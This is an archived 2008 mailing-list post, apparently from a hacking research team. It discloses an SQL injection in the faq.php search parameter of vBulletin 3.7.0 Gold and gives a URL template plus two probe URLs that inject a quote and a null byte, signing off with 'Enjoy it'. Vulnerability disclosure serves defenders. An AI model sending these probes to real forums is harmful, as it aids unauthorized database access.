|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Vbulletin 3.7.0 Gold >> Sql injection on faq.php
a.jasbi
yahoo.com
Date: Tue May 20 2008 - 09:49:54 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
By : Ali Jasbi(Hackerz.ir security & hacking research team)
Vendor : vbulletin.org
version : 3.7.0 Gold
Vulnerability: Sql injection
http://www.domain.com/vBulletin/faq.php?s=&do=search&q=[Sql injection]&match=any&titlesonly=1
test it:
faq.php?s=&do=search&q='&match=any&titlesonly=1
faq.php?s=&do=search&q=%00'&match=all&titlesonly=0
Enjoy it...
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]